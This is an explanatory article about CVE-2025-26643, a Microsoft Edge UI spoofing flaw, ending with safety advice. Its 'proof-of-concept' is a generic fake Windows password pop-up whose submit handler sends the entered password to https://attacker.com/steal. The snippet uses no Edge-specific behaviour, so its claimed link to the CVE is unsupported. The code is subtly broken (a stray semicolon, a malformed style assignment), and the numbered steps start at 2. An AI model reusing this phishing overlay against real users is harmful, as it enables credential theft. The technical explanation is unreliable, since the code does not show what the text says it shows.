CVE-2025-26643 - How a UI Mishap in Microsoft Edge Lets Attackers Spoof You Over the Network

Microsoft Edge, built on the Chromium engine, brought a faster and more secure web experience to Windows users. However, even the most robust browsers can have lapses. One such lapse, tracked as CVE-2025-26643, lets bad actors perform "spoofing" attacks over a network by tricking the browser's user interface (UI) into doing the wrong thing. In this walkthrough, we'll break down what this vulnerability is, how it works, and what you should know to stay protected.

What is CVE-2025-26643?

In plain English, CVE-2025-26643 is a vulnerability where Microsoft Edge's UI (the buttons and dialogs you interact with) performs an unexpected or incorrect action under certain circumstances. An attacker can use this flaw to make you think you're doing one thing—like logging into your bank—but the browser is actually doing something different. This kind of attack is known as "spoofing."

For example, a fake login form could look and feel *exactly* like your bank's, but your credentials are sent to an attacker instead.

Severity: This is not a bug that lets someone run code on your system ("remote code execution"), but it can trick you into making dangerous mistakes, like giving away your password.

How Does the Exploit Work?

To pull off the attack, a hacker needs to get you to load a specially-crafted webpage or HTML file—maybe by sending you a link in an email or chat. That page abuses the UI flaw to show trustworthy-looking prompts or windows, but they're not what they seem.

2. The site uses HTML and JavaScript to trigger Edge’s UI in the vulnerable way, making a spoofed authentication prompt or a file download dialog appear genuine.
3. Because Edge’s UI doesn’t handle some actions or messages correctly (the core of CVE-2025-26643), the spoofed prompt or dialog could blend seamlessly with the real browser interface, fooling the user.

Example Exploit Code

Below is a simplified proof-of-concept (PoC) HTML/JavaScript snippet demonstrating how a fake authentication pop-up can appear using Edge’s flawed UI behavior:

<!-- Save as edge-cve-2025-26643-spoof.html and open in Edge -->
<html>
  <body>
    <script>
      // This mimics a Windows-style authentication popup using HTML/CSS
      // The attacker can overlay it on the webpage
      function showSpoofPrompt() {
        let prompt = document.createElement('div');
        prompt.style =
          "position:fixed;top:40%;left:50%;transform:translate(-50%,-50%);";
        prompt.style +=
          "background:#fff;border:2px solid #ccc;padding:30px;z-index:99999;";
        prompt.innerHTML = `
          <b>Windows Security</b>

          <form id="spoofForm">
            <label>Network Password:</label>

            <input type="password" name="pass">

            <button type="submit">OK</button>
            <button type="button" onclick="this.parentElement.parentElement.remove()">Cancel</button>
          </form>
        `;
        document.body.appendChild(prompt);

        document.getElementById('spoofForm').onsubmit = function(e) {
          e.preventDefault();
          // Sends password to attacker-controlled server
          fetch('https://attacker.com/steal';, {
            method: 'POST',
            body: new FormData(this)
          });
          prompt.innerHTML = "Thank you. Please wait...";
        };
      }
      window.onload = showSpoofPrompt;
    </script>
  </body>
</html>

Important: This example is for educational purposes only! Never use malicious code.

Why Does This Work in Edge?

Because of the vulnerability, Edge’s UI doesn’t properly indicate which part of a page or which window a prompt belongs to. An attacker can match the browser's visual style and cause their own prompts to show up looking official, fooling many users. Most other modern browsers have mitigations to make this trick harder, but the Chromium-based Edge, before being patched, was especially vulnerable due to this oversight.

References

- Microsoft Security Update Guide: CVE-2025-26643
- Chromium Security Advisories
- OWASP on UI Redressing and Spoofing

Final Thoughts

Browser UI spoofing is sneaky because it plays on trust and quick decisions. Always look for signs that something’s not right: odd web addresses, awkward English, or prompts popping up when you weren’t expecting them. With CVE-2025-26643 fixed, Edge is safer, but attackers are always looking for new tricks—so stay alert and keep your browser updated!

Timeline

Published on: 03/07/2025 19:15:37 UTC
Last modified on: 03/13/2025 17:34:08 UTC